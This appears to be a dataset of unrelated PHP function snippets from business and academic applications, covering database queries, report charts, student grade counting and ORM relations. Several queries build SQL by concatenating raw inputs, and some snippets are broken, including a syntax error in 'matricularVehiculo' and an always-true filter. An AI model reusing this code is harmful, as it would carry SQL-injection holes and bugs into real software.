//---------------------------->TEMA(TIPO)\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['tabla']='documento_tipo';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['campo']='dti_id';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['remplazo']='dti_nombre';\r\n\t\t//---------------------------->TEMA(TIPO)\r\n\r\n\t\t//---------------------------->SUBTEMA(TEMA)\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['tabla']='documento_tema';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['campo']='dot_id';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['remplazo']='dot_nombre';\r\n //---------------------------->SUBTEMA(TEMA)\r\n\r\n //---------------------------->DOCUMENTO(OPERADOR)\r\n $relacion_tablas['documento_actor']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['remplazo']='ope_nombre';\r\n //---------------------------->DOCUMENTO(TIPO DE ACTOR)\r\n $relacion_tablas['documento_actor']['dta_id']['tabla']='documento_tipo_actor';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['campo']='dta_id';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['remplazo']='dta_nombre';\r\n //----------------------------<DOCUMENTO\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\t\t$relacion_tablas['departamento']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['departamento']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['departamento']['ope_id']['remplazo']='ope_nombre';\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(REGION)\r\n\t\t$relacion_tablas['departamento']['dpr_id']['tabla']='departamento_region';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['campo']='dpr_id';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['remplazo']='dpr_nombre';\r\n //---------------------------->DEPARTAMENTO(REGION)\r\n\r\n\t\t//---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\t\t$relacion_tablas['municipio']['dep_id']['tabla']='departamento';\r\n\t\t$relacion_tablas['municipio']['dep_id']['campo']='dep_id';\r\n\t\t$relacion_tablas['municipio']['dep_id']['remplazo']='dep_nombre';\r\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\r\n return $relacion_tablas;\r\n }", "function contarEspaciosAdelantados($cantidad_matriculas){\r\n $creditos=0;\r\n $adelantados=array();\r\n if(is_array($this->espaciosAprobados))\r\n {\r\n foreach ($this->espaciosAprobados as $espacio)\r\n {\r\n if($espacio['NIVEL']>$cantidad_matriculas){\r\n $adelantados[]=$espacio;\r\n $creditos=$creditos+(isset($espacio['CREDITOS'])?$espacio['CREDITOS']:'');\r\n }\r\n }\r\n }\r\n if($this->datosEstudiante['IND_CRED']=='N')\r\n {\r\n return count($adelantados);\r\n }elseif($this->datosEstudiante['IND_CRED']=='S')\r\n {\r\n return $creditos;\r\n }else{}\r\n }", "public function ruta_critica()\n {\n $this->tpi_mas_dij();\n $this->tp_j();\n $this->ttj_menos_dij();\n $this->tt_i();\n\n // Identificaión de las actividades de la ruta crítica\n $this->identificacion();\n // TT¡ (2) = TP¡ (0)\n // TTj (3) = TPj (1)\n // TTj (3) - TT¡ (2) = TPj (1) - TP¡ (0) = d¡j\n $ruta_critica = [[]];\n $num_act = -1;\n $this->tablero->imprimir(false);\n for ($m = 0; $m < $this->d->_m; $m++) {\n for ($n = 0; $n < $this->d->_n; $n++) {\n if ($this->d->_datos[$m][$n] >= 0 && $n < $this->d->_n) {\n $num_act++;\n $ruta_critica[$num_act][0] = 0;\n if ($this->tablero->_datos[$num_act][3] !== $this->tablero->_datos[$num_act][1]) continue;\n if ($this->tablero->_datos[$num_act][4] !== $this->tablero->_datos[$num_act][2]) continue;\n if ($this->tablero->_datos[$num_act][4] - $this->tablero->_datos[$num_act][3] !== $this->d->_datos[$m][$n]) continue;\n if ($this->tablero->_datos[$num_act][2] - $this->tablero->_datos[$num_act][1] !== $this->d->_datos[$m][$n]) continue;\n //echo \"num: $num_act: \" . $this->tablero->_datos[$num_act][0] . ' ' . $this->tablero->_datos[$num_act][1] . ' '. $this->tablero->_datos[$num_act][2] . ' ' . $this->tablero->_datos[$num_act][3] . '<br>';\n //echo \"num: $num_act<br>\" ;\n $ruta_critica[$num_act][0] = 1;\n }\n }\n }\n $tablero_index = new Matriz([\n ['ACT','TPi', 'TPj', 'TTi', 'TTj', 'dij', 'ITij', 'FPij', 'HTij', 'HLij']\n ]);\n $RC = new Matriz($ruta_critica);\n $RC->imprimir(true);\n $tablero_index->imprimir(true);\n\n }", "protected function entidades(){\n\t\tfor($i=1; $i < 6;$i++) $niveis[$i] = \"nivel de busca {$i}\";\n\t\t$this->visualizacao->nivel = VComponente::montar(VComponente::caixaCombinacao, 'nivel', isset($_POST['nivel']) ? $_POST['nivel'] : 1 ,null,$niveis);\n\t\t$this->visualizacao->filtro = isset($_POST['filtro']) ? $_POST['filtro'] : null;\n\t\t$this->visualizacao->listagens = false;\n\t\tif(!$this->visualizacao->filtro) return;\n\t\t$d = dir(\".\");\n\t\t$negocios = new colecao();\n\t\t$controles = new colecao();\n\t\twhile (false !== ($arquivo = $d->read())) {\n\t\t\tif( is_dir($arquivo) && ($arquivo{0} !== '.') ){\n\t\t\t\tif(is_file($arquivo.'/classes/N'.ucfirst($arquivo).'.php')){\n\t\t\t\t\t$negocio = 'N'.ucfirst($arquivo);\n\t\t\t\t\t$obNegocio = new $negocio();\n\t\t\t\t\tif( $obNegocio instanceof negocioPadrao ) {\n\t\t\t\t\t\t$ordem[$arquivo] = array(\n\t\t\t\t\t\t\t'nome'=>$obNegocio->pegarInter()->pegarNome(),\n\t\t\t\t\t\t\t'caminho'=>$arquivo.'/classes/N'.ucfirst($arquivo).'.php'\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$negocios->$arquivo = $obNegocio;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$d->close();\n\t\tasort($ordem);\n\t\t$this->visualizacao->ordem = $ordem;\n\t\t$listagens = array();\n\t\tforeach($ordem as $idx => $arquivo){\n\t\t\t$obNegocio = $negocios->pegar($idx);\n\t\t\t$nome['controle'] = definicaoEntidade::controle($obNegocio, 'verPesquisa');\n\t\t\tif($this->exibirListagem($arquivo)){\n\t\t\t\t$colecao = $obNegocio->pesquisaGeral($this->pegarFiltro(),$this->pegarPagina(),isset($_POST['nivel']) ? $_POST['nivel'] : 1);\n\t\t\t\tcall_user_func_array(\"{$nome['controle']}::montarListagem\", array($this->visualizacao,$colecao,$this->pegarPagina(),$nome['controle']));\n\t\t\t\t$this->visualizacao->listagem->passarControle($nome['controle']);\n\t\t\t\tif($colecao->contarItens()){\n\t\t\t\t\t$listagens[$idx]['listagem'] = $this->visualizacao->listagem;\n\t\t\t\t\t$listagens[$idx]['ocorrencias'] = $colecao->contarItens();\n\t\t\t\t\t$listagens[$idx]['nome'] = $arquivo['nome'];\n\t\t\t\t\t$listagens[$idx]['controlePesquisa'] = $nome['controle'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tunset($this->visualizacao->listagem);\n\t\t$this->visualizacao->listagens = $listagens;\n\t}", "public function getcontrole_aulas()\n {\n return $this->controle_aulas;\n }", "public function obtenerCentroCotizacions($count = false){\n if( $count ){\n $sql = \"SELECT count(uid_elemento) FROM \". TABLE_CENTRO_COTIZACION .\" WHERE uid_elemento = {$this->getUID()} AND uid_modulo = {$this->getModuleId()}\";\n return $this->db->query($sql, 0, 0);\n } else {\n $sql = \"SELECT uid_centrocotizacion FROM \". TABLE_CENTRO_COTIZACION .\" WHERE uid_elemento = {$this->getUID()} AND uid_modulo = {$this->getModuleId()}\";\n $items = $this->db->query($sql, \"*\", 0, \"centrocotizacion\");\n return new ArrayObjectList($items);\n }\n }", "public function getListaOcupaciones() {\n \n $listaOcupaciones = array();\n \n $dbAccess = new DBAccess();\n $result = $dbAccess->getSelect(\"SELECT * from ocupacion\");\n\n foreach($result as $row){\n \n $ocupacion = new Ocupacion($row['idocupacion'], $row['idempleado'], $row['fecha_ocupado']);\n array_push($listaOcupaciones, $ocupacion); \n }\n \n return $listaOcupaciones;\n }", "function contarReprobados($espacios_por_cursar){\n $cantidad=0;\n if(count($espacios_por_cursar)>0){\n foreach ($espacios_por_cursar as $key => $espacio) {\n if($espacio['REPROBADO']==1){\n $cantidad++;\n \t }\n }\n }\n return $cantidad; \n }", "function buscarEspaciosReprobados($notaAprobatoria) {\r\n \r\n $reprobados=isset($reprobados)?$reprobados:'';\r\n $espacios=isset($reprobados)?$reprobados:'';\r\n \r\n if (is_array($this->espaciosCursados)){\r\n foreach ($this->espaciosCursados as $value) {\r\n if (isset($value['NOTA'])&&($value['NOTA']<$notaAprobatoria||$value['CODIGO_OBSERVACION']==20||$value['CODIGO_OBSERVACION']==23||$value['CODIGO_OBSERVACION']==25)){\r\n if ($value['CODIGO_OBSERVACION']==19||$value['CODIGO_OBSERVACION']==22||$value['CODIGO_OBSERVACION']==24)\r\n {\r\n }else\r\n {\r\n $espacios[]=$value['CODIGO'];\r\n }\r\n }\r\n }\r\n if(is_array($espacios)){\r\n \r\n $espacios= array_unique($espacios);\r\n if($this->datosEstudiante['IND_CRED']=='S'){\r\n \r\n foreach ($espacios as $key => $espacio) {\r\n foreach ($this->espaciosCursados as $cursado) {\r\n if($espacio==$cursado['CODIGO']){\r\n $reprobados[$key]['CODIGO']=$cursado['CODIGO'];\r\n $reprobados[$key]['CREDITOS']=(isset($cursado['CREDITOS'])?$cursado['CREDITOS']:0);\r\n }\r\n }\r\n\r\n }\r\n }else{\r\n $reprobados=$espacios;\r\n }\r\n return $reprobados; \r\n \r\n }else{\r\n return 0; \r\n }\r\n \r\n }\r\n else\r\n {\r\n return 0;\r\n }\r\n }", "public function listarSocios() {\r\n $sql = \"select j.nombre,j.apellido,j.cedula,j.fechanac, j.porcentaje, m.nombre from juntadirectiva as j, municipio as m \"\r\n\t\t .\" where j.ciudadnac = m.id\";\t\t\r\n $respuesta = $this->object->ejecutar($sql);\r\n $this->construirListadoSocio($respuesta);\r\n }", "function getListaCentros($sCondicion = '', $orden = '')\n {\n $oDbl = $this->getoDbl_Select();\n $nom_tabla = $this->getNomTabla();\n if (empty($orden)) {\n $orden = 'nombre_ubi';\n }\n if (empty($sCondicion)) $sCondicion = \"WHERE status = 't'\";\n $sQuery = \"SELECT id_ubi, nombre_ubi\n\t\t\t\tFROM $nom_tabla\n\t\t\t\t$sCondicion\n\t\t\t\tORDER BY $orden\";\n if (($oDblSt = $oDbl->query($sQuery)) === false) {\n $sClauError = 'GestorCentro.lista';\n $_SESSION['oGestorErrores']->addErrorAppLastError($oDbl, $sClauError, __LINE__, __FILE__);\n return false;\n }\n return new web\\Desplegable('', $oDblSt, '', true);\n }", "public function verMarcaslista(){\n\t\t\t//$this->producto->set(\"marca\",$marca);\n\t\t\t$resultado=$this->producto->verMarcaslista();\n\t\t return $resultado;\n\t\t\t\n\t\t}", "function listarCotizacionProcesoCompra(){\n\t\t$this->procedimiento='adq.f_cotizacion_sel';\n\t\t$this->transaccion='ADQ_COTPROC_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t$this->setCount(false);\n\t\t\n\t\t$this->setParametro('id_proceso_compra','id_proceso_compra','int4');\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cotizacion','int4');\t \n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function grafico_1_3( $desde, $hasta, $ua ){\n\t// aclarar al cliente que debe setear campos bien definidos y NO PERMITIR AMBIGUEDADES\n\t\n\t$query = \"select actor.nombre, actor.apellido, actor.id_partido, actor.id_campo, count(noticiasactor.id_actor) as cantidad from noticiascliente \"\n\t\t. \"inner join noticiasactor on noticiascliente.id_noticia = noticiasactor.id_noticia \"\n\t\t. \"inner join noticias on noticiasactor.id_noticia = noticias.id \"\n\t\t. \"inner join actor on noticiasactor.id_actor = actor.id \"\n\t\t. \"where \"\n\t\t\t. \"noticiascliente.id_cliente = \" . $ua . \" and \"\n\t\t\t. \"noticiascliente.elim = 0 and \"\n\t\t\t. \"noticias.fecha between '\" . $desde . \" 00:00:01' and '\" . $hasta . \" 23:59:59' \"\n\t\t\t// SOLO QUIENES TIENEN 3 Y 4 COMO CAMPO\n\t\t\t// . \" and ( actor.id_campo like '%3%' or actor.id_campo like '%4%' ) \"\n\t\t. \"group by noticiasactor.id_actor order by cantidad desc\";\n\t//echo $query;\n\t$main = R::getAll($query);\n\t$ua_nombre = R::findOne(\"cliente\",\"id LIKE ?\",[$ua])['nombre'];\n\n\t//var_dump($main);\n\t$tabla = [];\n\t// unidad de analisis, actor, partido, cantidad de menciones\n\t$i = -1;\n\t$partidos = [];\n\t\n\t$children_partidos = [];\n\t$i_actor = 0;\n\tforeach($main as $k=>$v){\n\t\t// obtengo el/los partidos\n\t\t$partidos_array = json_decode( $v['id_partido'], true);\n\t\tif( ! is_array($partidos_array) ) continue;\n\t\t\n\t\tforeach($partidos_array as $p){\n\t\t\t$partido_nombre = R::findOne('attr_partido','id LIKE ?',[$p])['nombre'];\n\t\t\t$tabla[ ++$i ] = [\n\t\t\t\t'ua' => $ua_nombre,\n\t\t\t\t'actor' => $v['nombre'] . ' ' . $v['apellido'],\n\t\t\t\t'partido' => $partido_nombre,\n\t\t\t\t'cantidad' => $v['cantidad']\n\t\t\t\t];\n\t\t\t\t// agrego el partido y el grafico\n\t\t\t\tif(! in_array($partido_nombre,$partidos)){\n\t\t\t\t\t$partidos[] = $partido_nombre;\n\t\t\t\t\t$x = new StdClass(); // objeto vacio\n\t\t\t\t\t$x->name = $partido_nombre;\n\t\t\t\t\t$x->rank = 0;\n\t\t\t\t\t$x->weight = count($partidos); //'Yellow'; cargar desde JS\n\t\t\t\t\t$x->id = 1;\n\t\t\t\t\t$x->children = [];\n\t\t\t\t\t$children_partidos[] = $x;\n\t\t\t\t}\n\t\t\t\t// obtengo el indice del partido y lo inserto\n\t\t\t\t$index = array_search($partido_nombre,$partidos);\n\t\t\t\t$t = new StdClass(); // objeto vacio\n\t\t\t\t$t->name = $v['nombre'] . ' ' . $v['apellido'] . \" (\" . $v['cantidad'] . \")\";\n\t\t\t\t$t->rank = $v['cantidad'];\n\t\t\t\t$t->weight = $i_actor; //'Yellow'; cargar desde JS\n\t\t\t\t$t->id = 1;\n\t\t\t\t$t->children = [];\n\t\t\t\t// lo agrego al padre correspondiente\n\t\t\t\t$children_partidos[ $index ]->children[] = $t;\n\t\t\t\t$children_partidos[ $index ]->rank += 1;\n\t\t\t}\n\t\t\t++$i_actor;\n\t}\n\t// grafico\n\t/*$oficialismo = new StdClass(); // objeto vacio\n\t$oficialismo->name = 'Oficialismo';\n\t$oficialismo->rank = 0;\n\t$oficialismo->weight = 'Yellow';\n\t$oficialismo->id = 1;\n\t$oficialismo->children = [];*/\n\t\n\t// creo los objetos partidos\n\t\n\t/*foreach($partidos as $p){\n\t\t$x = new StdClass(); // objeto vacio\n\t\t$x->name = $p;\n\t\t$x->rank = 0;\n\t\t$x->weight = 0; //'Yellow'; cargar desde JS\n\t\t$x->id = 1;\n\t\t$x->children = [];\n\t}*/\n\t\n\t$objeto = new StdClass(); // objeto vacio\n\t$objeto->name = 'Partidos';\n\t$objeto->rank = 0;\n\t$objeto->weight = 'Gray';\n\t$objeto->id = 1;\n\t$objeto->children = $children_partidos;\n\t\n\t\n\t/*foreach($tabla as $v){\n\t\t$sub = new StdClass(); // objeto vacio\n\t\t$sub->name = $v['actor'] . ' (' . $v['cantidad'] . ')';\n\t\t$sub->rank = $v['cantidad'];\n\t\t// $sub->weight = 0;\n\t\t$sub->cantidad = $v['cantidad'];\n\t\t$sub->id = 1;\n\t\t$sub->children = [ ];\n\t\tif($v['campo'] == 'oposicion'){\n\t\t\t$i_op += 1;\n\t\t\t$sub->weight = 'Blue';\n\t\t\t$oposicion->children[] = $sub;\n\t\t}\n\t\telse{ \n\t\t\t$i_of += 1;\n\t\t\t$sub->weight = 'White';\n\t\t\t$oficialismo->children[] = $sub;\n\t\t}\n\t}*/\n\t\n\t\n\treturn [\n\t\t'tabla' => $tabla,\n\t\t'grafico' => $objeto\n\t\t// ,'temas' => $temas\n\t\t];\n}", "public function obras()\n {\n return $this->belongsToMany(Obra::class, 'usuarios_obras', 'usuario', 'id_obra');\n }", "public function get_morosos($fini, $ffin, $pensum, $division = '', $grupo = '', $periodo = '', $periodo_activo = '', $nivel = '', $grado = '', $seccion = ''){\n $tipo = trim($tipo);\n if ($fini != \"\" && $ffin != \"\") {\n $fini = $this->regresa_fecha($fini);\n $ffin = $this->regresa_fecha($ffin);\n $bol_fechas = \" AND bol_fecha_pago BETWEEN '$fini' AND '$ffin'\";\n $pag_fechas = \" AND pag_fechor BETWEEN '$fini 00:00:00' AND '$ffin 23:59:00'\";\n }else{\n if($periodo == $periodo_activo){\n $anio = date(\"Y\");\n $hoy = date(\"Y-m-d\");\n $bol_fechas = \" AND bol_fecha_pago BETWEEN '2000-01-00' AND '$hoy'\";\n $pag_fechas = \" AND pag_fechor BETWEEN '2000-01-00 00:00:00' AND '$hoy 23:59:00'\";\n }else{\n $bol_fechas = \"\";\n $pag_fechas = \"\";\n }\n }\n\n if (strlen($division)>0) {\n $bol_division = \" AND bol_division = $division\";\n $pag_cuenta = \" AND pag_cuenta = $division\";\n }\n if (strlen($grupo)>0) {\n $bol_grupo = \" AND bol_grupo = $grupo\";\n $pag_banco = \" AND pag_banco = $grupo\";\n }\n if (strlen($periodo)>0) {\n $bol_periodo = \" AND bol_periodo_fiscal = '$periodo'\";\n $pag_periodo = \" AND pag_periodo_fiscal = '$periodo'\";\n }\n\n $sql= \"SELECT *,\";\n $sql.= \" (SELECT SUM(bol_monto) FROM vista_boleta_cobro WHERE bol_alumno = alu_cui $bol_fechas $bol_division $bol_grupo $bol_periodo AND bol_situacion = 1) as pagos_programados,\";\n $sql.= \" (SELECT SUM(pag_total) FROM vista_pago_boletas,boletas_boleta_cobro WHERE pag_programado = bol_codigo AND pag_alumno = alu_cui $bol_division $bol_grupo $pag_periodo $pag_fechas) as pagos_ejecutados\";\n $sql.= \" FROM academ_grado, academ_secciones, academ_seccion_alumno, app_alumnos\";\n $sql.= \" WHERE sec_pensum = gra_pensum\";\n $sql.= \" AND sec_nivel = gra_nivel\";\n $sql.= \" AND sec_grado = gra_codigo\";\n $sql.= \" AND seca_pensum = sec_pensum\";\n $sql.= \" AND seca_nivel = sec_nivel\";\n $sql.= \" AND seca_grado = sec_grado\";\n $sql.= \" AND seca_seccion = sec_codigo\";\n $sql.= \" AND seca_alumno = alu_cui\";\n $sql.= \" AND alu_situacion != 0\";\n if (strlen($pensum)>0) {\n $sql.= \" AND seca_pensum = $pensum\";\n }\n if (strlen($nivel)>0) {\n $sql.= \" AND seca_nivel = $nivel\";\n }\n if (strlen($grado)>0) {\n $sql.= \" AND seca_grado = $grado\";\n }\n if (strlen($seccion)>0) {\n $sql.= \" AND seca_seccion = $seccion\";\n }\n\n $sql.= \" ORDER BY seca_nivel ASC, seca_grado ASC, sec_codigo ASC, alu_apellido ASC, alu_nombre ASC\";\n\n $result = $this->exec_query($sql);\n //echo $sql;\n return $result;\n }", "public static function obtenerMonitoreos()\n {\n $consulta = \"SELECT * FROM monitoreo WHERE (estado!=2 OR estado!=3) ORDER BY id_monitoreo DESC\";\n try {\n // Preparar sentencia\n $comando = Database::getInstance()->getDb()->prepare($consulta);\n // Ejecutar sentencia preparada\n $comando->execute();\n\n return $comando->fetchAll(PDO::FETCH_ASSOC);\n\n } catch (PDOException $e) {\n return false;\n }\n }", "function en_rojo($anio){\n $ar=array();\n $ar['anio']=$anio;\n $sql=\"select sigla,descripcion from unidad_acad \";\n $sql = toba::perfil_de_datos()->filtrar($sql);\n $resul=toba::db('designa')->consultar($sql);\n $ar['uni_acad']=$resul[0]['sigla'];\n $res=$this->get_totales($ar);//monto1+monto2=gastado\n $band=false;\n $i=0;\n $long=count($res);\n while(!$band && $i<$long){\n \n if(($res[$i]['credito']-($res[$i]['monto1']+$res[$i]['monto2']))<-50){//if($gaste>$resul[$i]['cred']){\n $band=true;\n }\n \n $i++;\n }\n return $band;\n \n }", "private function compilar_metadatos_generales_puntos_control()\n\t{\n\t\t$this->manejador_interface->mensaje('Puntos de control', false);\n\t\tforeach( toba_info_editores::get_puntos_control() as $punto_control ) {\n\t\t\t$nombre_clase = 'toba_mc_gene__pcontrol_' . $punto_control['pto_control'];\n\t\t\t$archivo = $this->get_dir_generales_compilados() . '/'. $nombre_clase .'.php';\n\t\t\t$clase = new toba_clase_datos( $nombre_clase );\n\t\t\t//Cabecera\n\t\t\t$datos['cabecera'] = $punto_control;\n\t\t\t$datos['parametros'] = toba_proyecto_db::punto_control_parametros( $this->get_id(), $punto_control['pto_control'] );\n\t\t\t$datos['controles'] = toba_proyecto_db::punto_control_controles( $this->get_id(), $punto_control['pto_control'] );\n\t\t\t//Guardo el archivo\n\t\t\t$clase->agregar_metodo_datos('get_info', $datos );\n\t\t\t$clase->guardar( $archivo );\n\t\t\t$this->manejador_interface->progreso_avanzar();\n\t\t}\n\t\t$this->manejador_interface->progreso_fin();\n\t}", "public function getMontacargasCiclosiniciales()\n {\n\n return $this->montacargas_ciclosiniciales;\n }", "public function getCuotas() {\n\t\treturn $this->cuotas;\n\t}", "public function getAllRights(){\r\n // ziskam vsechna prava z DB razena dle ID a vratim je\r\n $rights = $this->selectFromTable(TABLE_PRAVO);\r\n return $rights;\r\n }", "function matricularVehiculo(){\r\n $matricula _aleatoria = rand();\r\n\r\n $encontrado = false;\r\n for ($i=0; $i< count ($this->vehiculos) && ($encontrado==false); $i++) {\r\n if ($this->vehiculos[$i] != null) {\r\n if($this->vehiculos[$i]->getMatricula() =='') {}\r\n $this->vehiculos[$i]->getMatricula($matricula_aleatoria);\r\n $encontrado = true;\r\n $pos = $i;\r\n }\r\n }\r\n }", "public function obtenerComprasSinAdecsys()\n {\n $sql = $this->getAdapter()->select()->from(array('c' => 'compra'),\n array('id', 'id_tarifa', 't.medio_pub'))\n ->joinLeft(array('cac' => 'compra_adecsys_codigo'),\n 'c.id = cac.id_compra', null)\n ->joinInner(array('t' => 'tarifa'), 't.id = c.id_tarifa', null)\n ->where('cac.id is null')\n ->where('c.estado = ?', self::ESTADO_PAGADO)\n ->where('c.id_tarifa <> ?', Application_Model_Tarifa::GRATUITA)\n ->where('c.medio_pago in (?)',\n array(self::FORMA_PAGO_VISA, self::FORMA_PAGO_PAGO_EFECTIVO,\n self::FORMA_PAGO_MASTER_CARD, self::FORMA_PAGO_CREDITO))\n ->order('c.id asc');\n\n return $this->getAdapter()->fetchAll($sql);\n }", "function grafico_1( $desde, $hasta, $ua ){\n\t$query = \"select nested.id_cliente, noticiasactor.id_actor, nested.tema from \"\n\t. \"( select procesados.* from ( select noticiascliente.* from noticiascliente inner join proceso on noticiascliente.id_noticia = proceso.id_noticia where noticiascliente.id_cliente = \" . $ua . \" ) procesados \"\n\t. \"inner join noticia on noticia.id = procesados.id_noticia where noticia.fecha between '\" . $desde . \" 00:00:01' and '\" . $hasta . \" 23:59:59') nested \"\n\t. \"inner join noticiasactor on nested.id_noticia = noticiasactor.id_noticia order by id_actor asc \";\n\t$main = R::getAll($query);\n\t// obtengo el nombre de la unidad de analisis\n\t$ua_nombre = R::findOne(\"cliente\",\"id LIKE ?\",[$ua])['nombre'];\n\t// obtengo los nombres de todos los actores, para cruzar\n\t$actores_nombres = R::findOne(\"actor\",\"id LIKE ?\",[4]) ;\n\t//var_dump($actores_nombres['nombre'] . \" \" . $actores_nombres['apellido']);\n\n\t$tabla = [];\n\t$temas = [];\n\t$i = -1;\n\t// reemplazo actores por nombres y temas\n\tforeach($main as $k=>$v){\n\t\t$actores_nombres = R::findOne(\"actor\",\"id LIKE ?\",[ $v['id_actor'] ]);\n\t\t$main[$k]['id_cliente'] = $ua_nombre;\n\t\t// $main[$k]['id_actor'] = $actores_nombres['nombre'] . \" \" . $actores_nombres['apellido'];\n\t\t$main[$k]['id_actor'] = $v['id_actor'];\n\t\t$main[$k]['nombre'] = $actores_nombres['nombre'] . \" \" . $actores_nombres['apellido'];\n\t\t$id_tema = get_string_between($main[$k]['tema'],\"frm_tema_\",\"\\\"\");\n\t\t$tema = R::findOne(\"attr_temas\",\"id LIKE ?\",[$id_tema])['nombre'];\n\t\tif( is_null( $tema ) ) $tema = 'TEMA NO ASIGNADO';\n\t\t$main[$k]['tema'] = $tema;\n\t\t\n\t\t// if(array_search( [ $main[$k]['id_actor'],$tema], $tabla ) ) echo \"repetido\";\n\t\t// chequeo si ya existe alguno con este actor y tema, si es asi, sumo uno\n\t\t// TODO - FIXME : deberia ser mas eficiente, busqueda por dos valores\n\t\t$iter = true;\n\t\tforeach($tabla as $ka=>$va){\n\t\t\t// if($va['actor'] == $main[$k]['id_actor'] && $va['tema'] == $tema){\n\t\t\tif($va['actor'] == $main[$k]['nombre'] && $va['tema'] == $tema){\n\t\t\t\t$tabla[$ka]['cantidad'] += 1;\n\t\t\t\t$iter = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif($iter){\n\t\t\t$tabla[ ++$i ] = [ \n\t\t\t\t'unidad_analisis' => $ua_nombre,\n\t\t\t\t'actor' => $main[$k]['nombre'],\n\t\t\t\t'id_actor' => $main[$k]['id_actor'],\n\t\t\t\t'tema' => $tema,\n\t\t\t\t'cantidad' => 1\n\t\t\t\t];\n\t\t\t}\n\t\t// agrego los temas que van apareciendo en la tabla temas\n\t\t// UTIL para poder hacer el CRC32 por la cantidad de colores\n\t\tif(!in_array($tema,$temas)) $temas[] = $tema;\n\t}\n\t// la agrupacion de repetidos es por aca, por que repite y cuenta temas de igual id\n\n\t// en el grafico, los hijos, son arreglos de objetos, hago una conversion tabla -> objeto\n\t$objeto = new StdClass(); // objeto vacio\n\t$objeto->name = 'Actores';\n\t$objeto->rank = 0;\n\t$objeto->weight = 1;\n\t$objeto->id = 1;\n\t$objeto->children = [];\n\tforeach($tabla as $k=>$v){\n\t\t// me fijo si el actor existe, ineficiente pero por ahora\n\t\t$NoExiste = true;\n\t\tforeach($objeto->children as $ka=>$va){\n\t\t\t// si existe actor, le inserto el tema\n\t\t\tif($va->name == $v['actor']){\n\t\t\t\t$in = new StdClass();\n\t\t\t\t// $in->name = $v['tema'] . \" (\" . $v['cantidad'] . \") \" ; // lo construye JS\n\t\t\t\t$in->name = \"\";\n\t\t\t\t$in->tema = array_search($v['tema'],$temas);\n\t\t\t\t$in->tema_cantidad = $v['cantidad'];\n\t\t\t\t$in->rank = intval($v['cantidad']); // el tamaño del objeto \n\t\t\t\t$in->weight = 0; // lo asigna JS\n\t\t\t\t$in->id = $k;\n\t\t\t\t$in->children = [];\n\t\t\t\t$objeto->children[$ka]->children[] = $in;\n\t\t\t\t$objeto->children[$ka]->cantidad_temas = count($objeto->children[$ka]->children);\t\n\t\t\t\t$objeto->children[$ka]->rank = count($objeto->children[$ka]->children);\n\t\t\t\t$NoExiste = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif($NoExiste){\n\t\t\t$in = new StdClass();\n\t\t\t$in->name = $v['actor'];\n\t\t\t$in->rank = 1;\n\t\t\t$in->weight = 0; // lo asigna JS\n\t\t\t$in->id = $k;\n\t\t\t//$in->id = $v['id_actor'];\n\t\t\t$in->id_actor = $v['id_actor'];\n\t\t\t\t$t_in = new StdClass();\n\t\t\t\t// $t_in->name = $v['tema'] . \" (\" . $v['cantidad'] . \") \" ; // lo construye JS\n\t\t\t\t$t_in-> name = \"\";\n\t\t\t\t$t_in->tema = array_search($v['tema'],$temas);\n\t\t\t\t$t_in->tema_cantidad = $v['cantidad'];\n\t\t\t\t$t_in->rank = intval($v['cantidad']); // el tamaño del objeto \n\t\t\t\t$t_in->weight = 0; // lo asigna JS\n\t\t\t\t$t_in->id = $k;\n\t\t\t\t$t_in->children = [];\n\t\t\t$in->children = [ $t_in ];\n\t\t\t$objeto->children[] = $in;\n\t\t}\n\t}\n\treturn [\n\t\t'tabla' => $tabla,\n\t\t'grafico' => $objeto,\n\t\t'temas' => $temas\n\t\t];\n}", "public function cuidadores()\n {\n return $this->hasMany('App\\Models\\Cuidador', 'paciente_id', 'id');\n }", "private function camposObligatorios()\n {\n $this->setRequiredField(\"mascara\");\n $this->setRequiredField(\"etiqueta\");\n/*\n $this->setRequiredField(\"id_padre\");\n*/\n $this->setRequiredField(\"posicion\");\n $this->setRequiredField(\"visible\");\n $this->setRequiredField(\"nivel_acceso\");\n/*\n $this->setRequiredField(\"accion\");\n*/\n\n return;\n }", "public function getCOMENTARIOS()\r\n {\r\n return $this->COMENTARIOS;\r\n }", "public function obterUnidadesCidMunicipio($cids, $atendimentoDomicilio, $municipio, $municipiosProximos, $tipologiaId = '') {\n $filtro = new BSFilter();\n $condicoes = array();\n $joins= array();\n\n\n if(!empty($cids) && count($cids) > 0 && !empty($cids[0])){\n $cids[] = 0;//garantia de mais de um elemento\n $joins[] = array(\n 'table' => 'unidade_atendimento_cid',\n 'alias' => 'UnidadeAtendimentoCid',\n 'type' => 'inner',\n 'conditions' => array('UnidadeAtendimentoCid.unidade_atendimento_id = UnidadeAtendimento.id')\n );\n $condicoes['UnidadeAtendimentoCid.cid_id in'] = $cids;\n }\n $condicoes['Endereco.municipio_id'] = $municipio;\n\n 